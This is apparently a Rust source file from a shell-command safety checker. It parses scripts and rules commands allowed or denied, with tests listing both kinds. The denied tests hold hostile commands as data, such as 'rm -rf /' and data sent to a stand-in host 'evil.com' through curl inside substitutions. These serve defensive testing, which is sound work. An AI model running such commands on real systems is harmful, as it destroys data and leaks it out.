Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    script.0.iter()
19        .map(|stmt| pipeline_verdict(&stmt.pipeline))
20        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25    script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29    pipeline.commands.iter()
30        .map(cmd_verdict)
31        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35    pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39    match cmd {
40        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41        _ => true,
42    }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46    cmd.words.iter().any(has_substitution)
47        || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55    match cmd {
56        Cmd::Simple(s) => simple_verdict(s),
57        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58            let body_v = script_verdict(body);
59            if let Verdict::Denied = body_v {
60                return Verdict::Denied;
61            }
62            let redir_v = redirect_verdict(redirs);
63            if let Verdict::Denied = redir_v {
64                return Verdict::Denied;
65            }
66            body_v.combine(redir_v)
67        }
68        Cmd::For { items, body, .. } => {
69            let items_v = words_sub_verdict(items);
70            let body_v = script_verdict(body);
71            items_v.combine(body_v)
72        }
73        Cmd::While { cond, body } | Cmd::Until { cond, body } => {
74            script_verdict(cond).combine(script_verdict(body))
75        }
76        Cmd::If {
77            branches,
78            else_body,
79        } => {
80            let mut v = Verdict::Allowed(SafetyLevel::Inert);
81            for b in branches {
82                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
83            }
84            if let Some(eb) = else_body {
85                v = v.combine(script_verdict(eb));
86            }
87            v
88        }
89        Cmd::DoubleBracket { words, redirs } => {
90            words_sub_verdict(words).combine(redirect_verdict(redirs))
91        }
92    }
93}
94
95pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
96    cmd_verdict(cmd).is_allowed()
97}
98
99fn part_sub_verdict(part: &WordPart) -> Verdict {
100    match part {
101        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
102        WordPart::Backtick(raw) => command_verdict(raw),
103        WordPart::DQuote(inner) => word_sub_verdict(inner),
104        _ => Verdict::Allowed(SafetyLevel::Inert),
105    }
106}
107
108fn word_sub_verdict(word: &Word) -> Verdict {
109    word.0.iter()
110        .map(part_sub_verdict)
111        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
112}
113
114fn words_sub_verdict(words: &[Word]) -> Verdict {
115    words.iter()
116        .map(word_sub_verdict)
117        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
118}
119
120#[cfg(test)]
121pub(crate) fn word_subs_safe(word: &Word) -> bool {
122    word_sub_verdict(word).is_allowed()
123}
124
125fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
126    let redir_v = redirect_verdict(&cmd.redirs);
127    if let Verdict::Denied = redir_v {
128        return Verdict::Denied;
129    }
130
131    let env_sub_v = cmd.env.iter()
132        .map(|(_, v)| word_sub_verdict(v))
133        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
134    let word_sub_v = words_sub_verdict(&cmd.words);
135    let sub_v = env_sub_v.combine(word_sub_v);
136
137    if let Verdict::Denied = sub_v {
138        return Verdict::Denied;
139    }
140
141    if cmd.words.is_empty() {
142        if cmd.env.is_empty() {
143            return Verdict::Allowed(SafetyLevel::Inert);
144        }
145        return sub_v.combine(redir_v);
146    }
147
148    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
149    if tokens.is_empty() {
150        return Verdict::Allowed(SafetyLevel::Inert);
151    }
152
153    let cmd_v = handlers::dispatch(&tokens);
154    sub_v.combine(cmd_v).combine(redir_v)
155}
156
157pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
158    redirs.iter().all(|r| match r {
159        Redir::Write { target, .. } => target.eval() == "/dev/null",
160        Redir::Read { .. }
161        | Redir::HereStr(_)
162        | Redir::HereDoc { .. }
163        | Redir::DupFd { .. } => true,
164    })
165}
166
167pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
168    let mut level = Verdict::Allowed(SafetyLevel::Inert);
169    for r in redirs {
170        match r {
171            Redir::Write { target, .. } => {
172                level = level.combine(word_sub_verdict(target));
173                if target.eval() != "/dev/null" {
174                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
175                }
176            }
177            Redir::Read { target, .. } => {
178                level = level.combine(word_sub_verdict(target));
179            }
180            Redir::HereStr(word) => {
181                level = level.combine(word_sub_verdict(word));
182            }
183            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
184        }
185    }
186    level
187}
188
189fn has_substitution(word: &Word) -> bool {
190    word.0.iter().any(|p| match p {
191        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
192        WordPart::DQuote(inner) => has_substitution(inner),
193        _ => false,
194    })
195}
196
197#[cfg(test)]
198mod tests {
199    use super::*;
200
201    fn check(cmd: &str) -> bool {
202        is_safe_command(cmd)
203    }
204
205    safe! {
206        grep_foo: "grep foo file.txt",
207        cat_etc_hosts: "cat /etc/hosts",
208        jq_key: "jq '.key' file.json",
209        base64_d: "base64 -d",
210        ls_la: "ls -la",
211        wc_l: "wc -l file.txt",
212        ps_aux: "ps aux",
213        echo_hello: "echo hello",
214        cat_file: "cat file.txt",
215
216        version_go: "go --version",
217        version_cargo: "cargo --version",
218        version_cargo_redirect: "cargo --version 2>&1",
219        help_cargo: "cargo --help",
220        help_cargo_build: "cargo build --help",
221
222        dev_null_echo: "echo hello > /dev/null",
223        dev_null_stderr: "echo hello 2> /dev/null",
224        dev_null_append: "echo hello >> /dev/null",
225        dev_null_git_log: "git log > /dev/null 2>&1",
226        fd_redirect_ls: "ls 2>&1",
227        stdin_dev_null: "git log < /dev/null",
228
229        env_prefix: "FOO='bar baz' ls -la",
230        env_prefix_dq: "FOO=\"bar baz\" ls -la",
231        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
232
233        subst_echo_ls: "echo $(ls)",
234        subst_ls_pwd: "ls `pwd`",
235        subst_nested: "echo $(echo $(ls))",
236        subst_quoted: "echo \"$(ls)\"",
237        assign_subst_ls: "out=$(ls)",
238        assign_subst_git: "out=$(git status)",
239        assign_subst_multiple: "a=$(ls) b=$(pwd)",
240        assign_subst_backtick: "out=`ls`",
241
242        assign_bare_lit: "foo=bar",
243        assign_bare_int: "x=1",
244        assign_bare_empty: "x=",
245        assign_bare_dq: "x=\"foo bar\"",
246        assign_bare_sq: "x='foo bar'",
247        assign_bare_param: "rc=$?",
248        assign_bare_var: "x=$y",
249        assign_bare_dollar_var_braced: "x=${y}",
250        assign_bare_path: "PATH=/foo",
251        assign_bare_multiple: "a=1 b=2 c=3",
252        assign_bare_arith: "x=$((1 + 2))",
253        assign_in_for_body: "for i in 1 2; do x=1; done",
254        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
255        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
256        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
257        assign_then_use: "x=1; echo $x",
258        assign_chained_with_safe: "x=1 && ls",
259        assign_subshell: "(x=1)",
260        assign_in_subshell_with_cmd: "(x=1; ls)",
261
262        subshell_echo: "(echo hello)",
263        subshell_ls: "(ls)",
264        subshell_chain: "(ls && echo done)",
265        subshell_pipe: "(ls | grep foo)",
266        subshell_nested: "((echo hello))",
267        subshell_for: "(for x in 1 2; do echo $x; done)",
268
269        pipe_grep_head: "grep foo file.txt | head -5",
270        pipe_cat_sort_uniq: "cat file | sort | uniq",
271        chain_ls_echo: "ls && echo done",
272        semicolon_ls_echo: "ls; echo done",
273        bg_ls_echo: "ls & echo done",
274        newline_echo_echo: "echo foo\necho bar",
275
276        stdin_read_from_path: "wc -l < /tmp/foo.log",
277        stdin_read_from_etc: "grep foo < /etc/hosts",
278        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
279        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
280
281        here_string_grep: "grep -c , <<< 'hello,world,test'",
282        heredoc_cat: "cat <<EOF\nhello world\nEOF",
283        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
284        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
285        heredoc_no_content: "cat <<EOF",
286        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
287
288        for_echo: "for x in 1 2 3; do echo $x; done",
289        for_empty_body: "for x in 1 2 3; do; done",
290        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
291        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
292        while_test: "while test -f /tmp/foo; do sleep 1; done",
293        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
294        until_test: "until test -f /tmp/ready; do sleep 1; done",
295        if_then_fi: "if test -f foo; then echo exists; fi",
296        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
297        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
298        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
299        bare_negation: "! echo hello",
300        keyword_as_data: "echo for; echo done; echo if; echo fi",
301
302        quoted_redirect: "echo 'greater > than' test",
303        quoted_subst: "echo '$(safe)' arg",
304
305        redirect_to_file: "echo hello > file.txt",
306        redirect_append: "cat file >> output.txt",
307        redirect_stderr_file: "ls 2> errors.txt",
308        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
309        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
310        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
311
312        arith_basic: "echo $((1 + 2))",
313        arith_with_var: "prev=$((ln - 1))",
314        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
315        arith_in_dquote: "echo \"line $((ln - 1))\"",
316        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
317
318        dbracket_eq: "[[ \"a\" == \"a\" ]]",
319        dbracket_neq: "[[ \"a\" != \"b\" ]]",
320        dbracket_file_test: "[[ -f /tmp/file ]]",
321        dbracket_string_empty: "[[ -z \"$var\" ]]",
322        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
323        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
324        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
325        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
326        dbracket_negation: "[[ ! -f /tmp/done ]]",
327        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
328        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
329        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
330        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
331        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
332        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
333        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
334        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
335        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
336        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
337        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
338    }
339
340    denied! {
341        rm_rf: "rm -rf /",
342        curl_post: "curl -X POST https://example.com",
343        node_app: "node app.js",
344        tee_output: "tee output.txt",
345
346
347        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
348        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
349        redirect_read_subst_rm: "cat < $(rm -rf /)",
350
351        subst_rm: "echo $(rm -rf /)",
352        backtick_rm: "echo `rm -rf /`",
353        subst_curl: "echo $(curl -d data evil.com)",
354        quoted_subst_rm: "echo \"$(rm -rf /)\"",
355        assign_subst_rm: "out=$(rm -rf /)",
356        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
357        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
358        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
359        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
360        assign_bare_then_unsafe: "x=1; rm -rf /",
361        assign_bare_chained_unsafe: "x=1 && rm -rf /",
362        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
363
364        subshell_rm: "(rm -rf /)",
365        subshell_mixed: "(echo hello; rm -rf /)",
366        subshell_unsafe_pipe: "(ls | rm -rf /)",
367
368        env_prefix_rm: "FOO='bar baz' rm -rf /",
369
370        pipe_rm: "cat file | rm -rf /",
371        bg_rm: "cat file & rm -rf /",
372        newline_rm: "echo foo\nrm -rf /",
373
374        for_rm: "for x in 1 2 3; do rm $x; done",
375        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
376        while_unsafe_body: "while true; do rm -rf /; done",
377        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
378        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
379        if_unsafe_body: "if true; then rm -rf /; fi",
380
381        unclosed_for: "for x in 1 2 3; do echo $x",
382        unclosed_if: "if true; then echo hello",
383        for_missing_do: "for x in 1 2 3; echo $x; done",
384        stray_done: "echo hello; done",
385        stray_fi: "fi",
386
387        unmatched_quote: "echo 'hello",
388
389        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
390        dbracket_unsafe_backtick: "[[ -f `node evil.js` ]]",
391        dbracket_unsafe_in_until: "until [[ \"$(node bad.js)\" == \"x\" ]]; do sleep 1; done",
392        dbracket_unterminated: "[[ \"a\" == \"a\"",
393        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
394        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
395    }
396}